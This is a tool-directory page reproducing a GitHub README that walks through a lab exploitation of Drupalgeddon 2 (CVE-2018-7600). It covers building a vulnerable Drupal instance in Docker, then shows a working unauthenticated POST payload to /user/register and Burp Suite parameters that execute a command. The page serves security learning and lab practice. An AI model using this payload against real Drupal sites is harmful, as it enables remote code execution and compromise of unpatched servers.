Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
drupal-cve-2018-7600-poc — Proof-of-concept exploit for CVE-2018-7600 (Drupalgeddon 2) with a step-by-step lab environment setup and exploitation walkthrough using Docker and Burp Suite. | Kitploit
Tools/GitHubGitHub/dowonkwon/drupal-cve-2018-7600-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdowonkwon/drupal-cve-2018-7600-poc

drupal-cve-2018-7600-poc

Proof-of-concept exploit for CVE-2018-7600 (Drupalgeddon 2) with a step-by-step lab environment setup and exploitation walkthrough using Docker and Burp Suite.

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

README

**Drupal Drupalgeddon 2 Unauthenticated Remote Code Execution

(CVE-2018-7600)**


Drupal versions prior to 7.58, 8.x versions prior to 8.3.9, 8.4.x versions prior to 8.4.6, and 8.5.x versions prior to 8.5.1 allow remote attackers to execute arbitrary code due to an issue affecting multiple subsystems using default or common module configurations including the Form API.

References:

  • https://www.drupal.org/sa-core-2018-002
  • https://research.checkpoint.com/uncovering-drupalgeddon-2/

Vulnerable environment


image.png

First, as shown in the following screen, fork the contents of the relevant vulhub.

image.png

Then download that folder as a ZIP file and bring it over.

image.png

Extract the contents related to drupal (CVE-2018-7600) and upload them to my repository.

image.png

Now let's set up that environment in Docker through that repository.

image.png

Clone my repository using the git clone command as follows, then move into the folder containing the docker-compose.yml file using the cd command.

Then run Docker in the background with the following command:

root@kitploit:~
docker-compose up -d

You can see it running as shown below.

image.png

Navigate to http://localhost:8080 to visit the Drupal homepage.

image.png

The Drupal environment configuration screen appears, followed by the Drupal homepage.

To attempt the exploit, set it up simply as follows:

image.png

Then it loads as shown.

image.png

Next, enter additional site settings (set to "test" for quick exploit configuration).

image.png

image.png

image.png

Finally, the Drupal site setup is complete as shown below.

image.png

Exploit


Referencing a2u/CVE-2018-7600, the following request can be sent to Drupal:

root@kitploit:~
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

CVE-2018-7600 (Drupalgeddon2) is a vulnerability that attempts an unauthenticated attack by manipulating form fields via AJAX through /user/register, so you can also forge packets using Burp Suite.

First, go to the registration page via Burp Suite's proxy site, enter any values, and capture the packet.

image.png

Modify the packet using Burp Suite.

image.png

Send that packet to Repeater and add the following code at the bottom:

root@kitploit:~
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id

After sending, you can see the OK command appears as shown below.

image.png

For a more malicious request, the CVE-2018-7600 (Drupalgeddon2) attack is more reliable when sent immediately after Drupal installation (before the installation wizard finishes).

Download Tool